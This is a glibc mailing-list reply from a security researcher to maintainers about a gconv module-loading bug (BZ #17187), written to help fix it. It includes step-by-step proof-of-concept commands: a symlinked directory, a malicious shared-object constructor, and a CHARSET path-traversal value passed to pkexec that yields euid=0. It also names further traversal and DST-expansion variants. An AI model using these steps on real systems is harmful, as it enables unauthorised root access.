This is the mail archive of the
libc-alpha@sourceware.org
mailing list for the glibc project.
Re: [PATCH] __gconv_translit_find: Actually append ".so" to module name [BZ #17187]
- From: Tavis Ormandy <taviso at google dot com>
- To: Florian Weimer <fweimer at redhat dot com>
- Cc: Roland McGrath <roland at hack dot frob dot com>, GNU C Library <libc-alpha at sourceware dot org>
- Date: Thu, 31 Jul 2014 11:08:41 -0700
- Subject: Re: [PATCH] __gconv_translit_find: Actually append ".so" to module name [BZ #17187]
- Authentication-results: sourceware.org; auth=none
- References: <53CD0F15 dot 3030806 at redhat dot com> <20140728230221 dot 66D7A2C3994 at topped-with-meat dot com> <53D73636 dot 7060207 at redhat dot com> <CAJ_zFkJLdEpJzKSM3HDN6PuVriTd4vKNqq=EubtCR5qqvt1U8g at mail dot gmail dot com> <53D7F076 dot 9010505 at redhat dot com>
On Tue, Jul 29, 2014 at 12:05 PM, Florian Weimer <fweimer@redhat.com> wrote:
>
>
> Ah, but only on 32-bit architectures, and not with 64-bit architectures
> (without writing a couple of NULs), right?
>
> I totally I agree that this can be exploitable on 32-bit architectures. I
> don't know why I disregarded them. *sigh*
>
> I'll ask for a CVE assignment on the oss-security list, and we should treat
> this as a security vulnerability. Thanks for reporting this, Tavis.
No problem.
> I need to figure out all this, but I think these gconv modules are available
> by other means, so fixing this shouldn't open up totally new exploit
> vectors.
Do you have an example? I looked into it and couldn't find a way of
doing it. But I did spot a few additional bugs while I was looking.
The code doesn't work to prevent traversal if slash_count goes too
high, for example CHARSET=////../../../../../foo
However, the path is passed through upstr() in gconv_charset.h.
upstr() hardcodes the locale, so it doesn't seem possible to get
lowercase alpha characters through to dlopen().
Nonetheless, this is still a *very* serious bug, if there is a
directory that doesn't contain lowercase characters but is writable by
an attacker, then this is a trivial root shell. To verify this, follow
these steps:
1. Temporarily create a symlink to /tmp to simulate a directory
without lowercase characters (numeric, uppercase, whitespace or
special characters are fine).
# ln -s /tmp /TMP
2. As an unprivileged user create a DSO with no lowercase characters
in this directory.
$ cat > test.c
void __attribute__((constructor)) init(void)
{
printf("hello euid=%d\n", geteuid());
}
$ gcc -w -fPIC -shared -o TEST test.c
3. Execute root as euid=0:
$ CHARSET=///../../../../../tmp/test pkexec --version
hello euid=0
Additionally, this path is parsed through expand_dst_tokens _after_
the upstr() call, so you can still insert DSTs (i.e. $PLATFORM, and so
on). This gives the attacker some additional leeway, you can try
CHARSET=////../../../${LIB}/${LIB}GL for example, which should expand
to something like "/lib/libGL". $ORIGIN behaviour varies
system-to-system. On Debian, it's just left as-is, but redhat modify
the behaviour (see
http://pkgs.fedoraproject.org/cgit/glibc.git/tree/glibc-fedora-elf-ORIGIN.patch).
This results in some oddness that may make it exploitable without any
path requirements, but I haven't thought through all the consequences
yet (personally, I would drop that patch). I suspect this patch makes
this exploitable by making it possible to open a DSO in a relative
directory, but I need to think through the consequences a bit more.
Additionally, the DST expansion looks like it's vulnerable to an
integer overflow on 32-bit, perhaps not exploitable on Fedora where
$PLATFORM and $LIB don't expand to very big strings, but on Debian
$LIB is "x86_64-linux-gnu" which is a 4x increase. Obviously that
wouldn't matter very much if you can't get a DST expanded by a setuid
boundary, but there are at least a few where you can via gconv (sudo,
pkexec, etc).
> And the missing file extension doesn't matter for the dlopen call,
> eitherâyou still lose with the current code if the directory is
> attacker-controlled for some reason.
True, but isn't this why GCONV_PATH is in unsecvars? I.e. it's never
supposed to be attacker controlled.
Tavis.